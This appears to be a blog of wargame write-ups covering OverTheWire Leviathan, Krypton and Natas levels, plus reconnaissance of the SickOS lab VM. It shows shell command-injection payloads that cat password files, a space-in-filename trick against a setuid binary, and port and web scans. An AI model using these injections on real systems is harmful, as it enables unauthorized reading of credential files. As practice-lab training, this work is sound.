leviathan level 4
The beginning of this level looks a little barren, but we find interesting stuff after some investigation.
leviathan4@leviathan:~$ ls
leviathan4@leviathan:~$ ls -asl
total 28
4 drwxr-xr-x 1 leviathan4 leviathan4 4096 Sep 15 00:22 .
4 drwxr-xr-x 1 root root 4096 Sep 13 11:08 ..
4 -rw-r--r-- 1 leviathan4 leviathan4 220 Apr 9 2014 .bash_logout
4 -rw-r--r-- 1 leviathan4 leviathan4 3637 Apr 9 2014 .bashrc
4 drwx------ 2 leviathan4 leviathan4 4096 Sep 15 00:22 .cache
4 -rw-r--r-- 1 leviathan4 leviathan4 675 Apr 9 2014 .profile
4 dr-xr-x--- 2 root leviathan4 4096 Sep 13 11:08 .trash
leviathan4@leviathan:~$ cd .trash/
leviathan4@leviathan:~/.trash$ ls
bin
leviathan4@leviathan:~/.trash$ file bin
bin: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=58046a7bfbedab2f6a7d5c8e9a97f32c3358e7e7, not stripped
leviathan4@leviathan:~/.trash$
Executing it gives us the following:
leviathan4@leviathan:~/.trash$ ./bin
01010100 01101001 01110100 01101000 00110100 01100011 01101111 01101011 01100101 01101001 00001010
From here, it’s an easy guess that this is the password to the next level. I wish I could say I knew an easy way off the top of my head to translate this into ascii using only linux tools, but I don’t. I’m a little ashamed to admit this, but I just manually converted it. If you change all of the binary to decimal, you get these numbers: 84 105 116 104 52 99 111 107 101 105 10
I’ll leave the final exercise of finding the corresponding ascii values to the reader.
leviathan level 3
This challenge looks a little like one we’ve done before. It asks us for a password, and spits out an error message when we don’t get it right. Falling back to the same old tricks agian, we try strings.
leviathan3@leviathan:~$ strings -d ./level3
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
puts
__stack_chk_fail
stdin
printf
fgets
system
strcmp
__libc_start_main
__gmon_start__
GLIBC_2.4
GLIBC_2.0
PTRh@
snlp
rintf
D$L1
D$#bombf
D$'ad
D$8...s
D$<3cr3f
D$@t
D$*h0nof
D$.33
D$1kakaf
D$5ka
D$B*32.
D$F2*[xf
D$J]
T$Le3
[^_]
[You've got shell]!
/bin/sh
bzzzzzzzzap. WRONG
Enter the password>
;*2$"
secret
leviathan3@leviathan:~$
Secret looks pretty tempting, but trying that one gets us nowhere. I tried a few other strings that looked decent, but again, no joy. I decided to bend the rules here a little and use ltrace. Ltrace is a unix command that will execute whatever program we give it and print out information about what function calls it’s making. The description for this wargrame said we wouldn’t need to be programmers, and this is probably leaning towards the “programmery” side of things. However, it’s still a unix command, so I’m considering it fair game.
leviathan3@leviathan:~$ ltrace ./level3
__libc_start_main(0x80485fe, 1, 0xffffd804, 0x80486d0 <unfinished ...>
strcmp("h0no33", "kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password> stuff
"stuff\n", 256, 0xf7fcbc20) = 0xffffd5fc
strcmp("stuff\n", "snlprintf\n") = 1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
) = 19
+++ exited (status 0) +++
leviathan3@leviathan:~$
We can see pretty clearly here that the password we enter is being compared to “snlprintf”. Invoking the program one last time, we enter the correct password and get a shell running as leviathan4.
leviathan3@leviathan:~$ ./level3
Enter the password> snlprintf
[You've got shell]!
$ whoami
leviathan4
$ cat /etc/leviathan_pass/leviathan4
XXXXXXX
$
leviathan level 2
This next challenge gives us another setuid program, this one called printfile. We execute it, and it tells us to, somewhere predictably, give it a file as an agrument. Picking something random that we have access to will echo the contents. However, trying to pass it a file we don’t already have read access to (like say, /etc/leviatha_pass/leviathan3) will end the program with “you can’t have that file…”. We also get this message if we pass the program the name of something that doesn’t exist.
Just for grins, I ran strings against this program as well:
leviathan2@leviathan:~$ strings -d printfile
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
puts
__stack_chk_fail
system
access
__libc_start_main
snprintf
__gmon_start__
GLIBC_2.4
GLIBC_2.0
PTRhp
QVh-
[^_]
*** File Printer ***
Usage: %s filename
You cant have that file...
/bin/cat %s
;*2$"
The thing that caught my eye was the “/bin/cat %s” string. At first, I was wondering if this challenge was path related. I suspected that it might be using an exec call without a fully qualified command that I could abuse by providing my own executable with a similar name. However, we can see that the full path for the command is listed, so that’s not a possibility. What this does imply,however, is that our input is going to be injected into a command, presumably with any quoting or escaping.
So, how do we take advantage of that? We’ve already established that the program will not cat a file for us unless it knows we already have permissions to read it. We’ve also deduced that whatever string we give it is likely going to be injected into the command without any escaping.
leviathan2@leviathan:~$ ln -s /etc/leviathan_pass/leviathan3 levi
leviathan2@leviathan:~$ touch "levi an"
leviathan2@leviathan:~$ ls -als
total 32
4 drwxr-xr-x 1 leviathan2 leviathan2 4096 Sep 14 03:20 .
4 drwxr-xr-x 1 root root 4096 Sep 13 11:08 ..
4 -rw-r--r-- 1 leviathan2 leviathan2 220 Apr 9 2014 .bash_logout
4 -rw-r--r-- 1 leviathan2 leviathan2 3637 Apr 9 2014 .bashrc
4 drwx------ 2 leviathan2 leviathan2 4096 Sep 14 02:42 .cache
4 -rw-r--r-- 1 leviathan2 leviathan2 675 Apr 9 2014 .profile
0 lrwxrwxrwx 1 leviathan2 leviathan2 30 Sep 14 03:08 levi -> /etc/leviathan_pass/leviathan3
0 -rw-rw-r-- 1 leviathan2 leviathan2 0 Sep 14 03:20 levi an
8 -r-sr-x--- 1 leviathan3 leviathan2 7506 Sep 13 11:08 printfile
leviathan2@leviathan:~$ ./printfile "levi an"
XXXXXXXXXXXXXXXXX
/bin/cat: an: No such file or directory
What happens here is that I create a symbolic link in my home directory to the password file that I want. I then create a second file, and this is where the trick is. My second file has embedded spaces in the name. When I pass the file name to the printfile command, I make sure to quote it so that printfile will interpret it as a single argument. When it verifies that I have read access, it tries to execute the following command: /bin/cat levi an
You can see here that the cat command will interpret this as two different files. The second one doesn’t actually exist, but that’s fine, we’ve already gotten what we want.
krypton level 0
This challenge starts off by giving us the password in base64 on the overthewire web site, and we have to decode it in order to log into the ssh account. There’s numerous ways to do this, including manually if you were so inclined. I elected to use the base64 utility on my local machine.
$ echo "S1JZUFRPTklTR1JFQVQ=" | base64 --decode
XXXXXXXXXXXXX
sickos web recon
After scanning the target with nmap, we found that two ports were open: 22 and 80. Of those two, the web server feels like the more tempting target. First things first, what kind of web server are we even dealing with? I’m tempted to assume it’s apache or nginx just due to their market share, but lets see what we can confirm.
root@kali:~# telnet 192.168.42.132 80
Trying 192.168.42.132...
Connected to 192.168.42.132.
Escape character is '^]'.
BLEAH / HTTP/1.1
HTTP/1.0 501 Not Implemented
Content-Type: text/html
Content-Length: 357
Connection: close
Date: Wed, 13 Sep 2017 02:15:08 GMT
Server: lighttpd/1.4.28
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>501 - Not Implemented</title>
</head>
<body>
<h1>501 - Not Implemented</h1>
</body>
</html>
Connection closed by foreign host.
So, my initial guess was wrong. I’ve heard of lighttpd before, but I’m not very familiar with it. The reply helpfully gave us the exact version number, although searching through exploit-db doesn’t seem to offer many immediate hits on security vulnerabilities. Now that we’ve satisfied our curiosity as to what we’re dealing with, lets actually check what it’s serving.
Something, something, dank memes.
We check the source just to be sure, but there doesn’t seem to be much here. I’m actually surprised it renders…
<html>
<img src="blow.jpg">
</html>
Kali linux includes numerous tools that can be used to discover web content, so lets try to fire some up and see if we can find anything.
First we try nikto:
nikto -host 192.168.42.132
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.42.132
+ Target Hostname: 192.168.42.132
+ Target Port: 80
+ Start Time: 2017-09-12 22:34:01 (GMT-4)
---------------------------------------------------------------------------
+ Server: lighttpd/1.4.28
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21
+ 26188 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2017-09-12 22:34:44 (GMT-4) (43 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Hmmmm, not much there. We get the PHP version, I guess that’s something.
How about Dirb:
dirb http://192.168.42.132/ /usr/share/wordlists/dirb/common.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue Sep 12 22:37:16 2017
URL_BASE: http://192.168.42.132/
WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.42.132/ ----
+ http://192.168.42.132/index.php (CODE:200|SIZE:163)
==> DIRECTORY: http://192.168.42.132/test/
---- Entering directory: http://192.168.42.132/test/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Tue Sep 12 22:37:18 2017
DOWNLOADED: 4612 - FOUND: 1
We found a test directory, but when we check the directory listing, we get nothing. Bummer.
I also tried some of the other dirb wordlists, but omitted the results due to the lack of anything interesting. So far, not much is really jumping out at me. It feels like the test directory must be important somehow, but I’m not sure what I can do with it.
natas level 9
Level nine gives us a form that takes a word and will search a file on the server side for it and return any results. We’re helpfully provided with the source code again, and after scanning it through it for a minute, the passthru function call should draw our immediate attention.
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
It appears that as long as the form parameter isn’t empty, it gets used with the passthru function. This input is completely unscathed, no other sanity checks or escaping. We can take advantage of that to inject our own comands into the string. We knew from a prior level that passwords are listed in /etc/bandit_pass/banditx
, so it seems likely that we can can try to get the command to cat those contents.
The string below is what I entered into the form. It completes the grep command and then uses a semicolon to begin the second command that cats our password.
stuff dictionary.txt; cat /etc/natas_webpass/natas10;
And the resulting markup returned from the server, complete with our password:
Output:
<pre>
foodstuff
foodstuff's
foodstuffs
stuff
stuffed
stuffier
stuffiest
stuffing
stuffing's
stuffs
stuffy
XXXXXXXXXXXXXXXXXX
</pre>
natas level 10
This one frustrated me because I’m fairly certain that I have a valid answer, but the backend code is obviously looking for a certain solution and filtering mine out. This level is very similar to the one prior, but now it’s blacklisting certain characters, namely “& | ;”. This effectively stops us from chainning together commands. I came up with the following solution: -v stuff <(cat /etc/natas_webpass/natas11) |
Substituted into the full string, it would look like this: grep -i -v stuff <(cat /etc/natas_webpass/natas11) dictionary.txt
. The -v flag tells grep to invert the matching logic, and would give us everything that doesn’t match “stuff”. It’s going the search the contents from the command that’s being redirected to it, which would be the contents of the next password. Based on some experimentation on my command line locally, I think that this would work, but the actual page didn’t return any results.
Apparently though, I was overthinking it. I don’t even need a command to cat the contents of the file, I can just tell grep to look there directly. I feel kind of silly now…
Entering -v stuff /etc/natas_webpass/natas11
will actually do what we need.
leviathan level 1
Upon listing our home directory on this challenge, we’re met with a program called check. It appears to be setuid, so we can assume that this is our ticket to the next level somehow. When we try to run it, we’re asked for a password. As might be expected, entering something random results in a message telling us that it’s wrong.
leviathan1@leviathan:~$ ls
check
leviathan1@leviathan:~$ ./check
password: bleah
Wrong password, Good Bye ...
leviathan1@leviathan:~$ file check
check: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=4c5a895c73faa38da165925e8c0deeded68f5c1d, not stripped
leviathan1@leviathan:~$
My instincts would be to fire up gdb and set a breakpoint on main and step through the code, but the leviathan description mentioned that it was designed to be completed without any programming knowledge. So, since we’re not meant to use a debugger, how else can we see what it’s comparing against? My first thought was the strings command, which reads a binary file and prints out the anything that falls within the normal printable range. Running this command does give what looks to be some helpful possibilities, but none of them checked out.
leviathan1@leviathan:~$ strings -d ./check
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
puts
__stack_chk_fail
printf
getchar
system
strcmp
__libc_start_main
__gmon_start__
GLIBC_2.4
GLIBC_2.0
PTRh`
QVh-
D$,1
D$%secrf
D$)et
D$ love
T$,e3
[^_]
password:
/bin/sh
Wrong password, Good Bye ...
;*2$"
leviathan1@leviathan:~$ ./check
password: love
Wrong password, Good Bye ...
leviathan1@leviathan:~$ ./check
password: secrf
Wrong password, Good Bye ...
leviathan1@leviathan:~$
Wondering what I was missing, I opened the file in vim. Vim is not a hex editor, but I was just curious what would happen.
I noticed a couple of other strings through the vim window that I hadn’t seen before, namely sex and god. I wondered why the strings command hadn’t picked up on these, and so I checked the man pages. Apparently, strings looks for a minimum of four printable characters in a row, which explains why these got overlooked. This behavior can be changed through the -min-length
flag though.
After trying them below, I was rewarded with a shell running as leviathan2.
leviathan1@leviathan:~$ ./check
password: god
Wrong password, Good Bye ...
leviathan1@leviathan:~$ ./check
password: sex
$ whoami
leviathan2
$ cat /etc/leviathan_pass/leviathan2
XXXXXXXXXX
$
leviathan level 0
The challenge for natas11 involves XOR encryption, and while I’m familiar with the idea, I can tell that one is actually going to take me a little time. I noticed that leviathan is only eight levels and ranked as a 1/10 difficulty, so I thought I’d give it a go and see if I could knock it out.
The actual listing on overthewire doesn’t have descriptions for the individual levels, so we’re not sure what to expect. When we log in as leviathan0, we’re met with an empty directory. Checking for hidden files, we see what looks like some pretty standard stuff except for the .backup dir. Lets head in there and see what we can find.
leviathan0@leviathan:~$ ls -asl
total 28
4 drwxr-xr-x 1 leviathan0 leviathan0 4096 Sep 14 01:15 .
4 drwxr-xr-x 1 root root 4096 Sep 13 11:08 ..
4 drwxr-x--- 2 leviathan1 leviathan0 4096 Sep 13 11:08 .backup
4 -rw-r--r-- 1 leviathan0 leviathan0 220 Apr 9 2014 .bash_logout
4 -rw-r--r-- 1 leviathan0 leviathan0 3637 Apr 9 2014 .bashrc
4 drwx------ 2 leviathan0 leviathan0 4096 Sep 14 01:15 .cache
4 -rw-r--r-- 1 leviathan0 leviathan0 675 Apr 9 2014 .profile
leviathan0@leviathan:~$ cd .backup/
leviathan0@leviathan:~/.backup$ ls
bookmarks.html
leviathan0@leviathan:~/.backup$
Bookmarks.html, huh? I tried manually scrolling through it, but there’s quite a bit of content here. Lets grep through it instead. Searching for the user name made the most sense.
leviathan0@leviathan:~/.backup$ grep leviathan bookmarks.html
<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is XXXXXXX" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>
leviathan0@leviathan:~/.backup$
There we go. First level is down.
sickos initial scan
In the midst of making my way through the overthewire challenges, I decided to also try some “boot to root” stuff, beacuse why not? I went browsing for some interesting targets, and settled for SickOS version 1.2. After powering on the VM, I brought up a seconday image running Kali. The obvious first step is to figure out the IP of the target. I’ve got both of the VMs set to run on a host only network, so after determining the IP of my Kali box, I can scan the appropriate range and look for the running instance of SickOs.
I used the -sn
option with nmap, which specifies that we’re only doing host discovery, no port scanning. After a few seconds, I got back four addresses. One was my Kali box, and it seemed likely that the other address close to mine was my target.
Now that I knew the IP, the next most logical step was to scan it. I used a syn scan (-sS
), specified the entire range of ports (-p-
), and asked nmap to be very verbose while it was scanning (-vvv
). As per the steady updates, the scan was set to take over an hour, so I let it set while I went off to work on other challenges.
Unfortunately, after all of that time waiting, the only ports nmap detected as being open were 22 (ssh) and 80(http). Before I call it quits and investigate those two ports, I’m also going to try a UDP scan, because why not? I won’t know if anything is there unless I look.
I saved the results of the UDP scan to a file, and then grepped through it looking for no-response, using the -v
flag to invert the matching logic and only showing me lines that don’t contain that text. Unfortunately, it seemed to have turned up bupkis. Oh well, at least we tried. Next time we’ll take a look at those open ports and see if anything interesting turns up.
root@kali:~# grep -v no-response 192.168.42.132_report
Starting Nmap 7.50 ( https://nmap.org ) at 2017-09-12 21:36 EDT
Initiating ARP Ping Scan at 21:36
Scanning 192.168.42.132 [1 port]
Completed ARP Ping Scan at 21:36, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:36
Completed Parallel DNS resolution of 1 host. at 21:36, 13.01s elapsed
DNS resolution of 1 IPs took 13.01s. Mode: Async [#: 1, OK: 0, NX: 0, DR: 1, SF: 0, TR: 3, CN: 0]
Initiating UDP Scan at 21:36
Scanning 192.168.42.132 [65535 ports]
... progress text omitted...
Nmap scan report for 192.168.42.132
Host is up, received arp-response (0.00033s latency).
Scanned at 2017-09-12 21:36:37 EDT for 1335s
PORT STATE SERVICE REASON
MAC Address: 00:0C:29:29:E3:17 (VMware)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1335.79 seconds
Raw packets sent: 131071 (3.674MB) | Rcvd: 22 (1.540KB)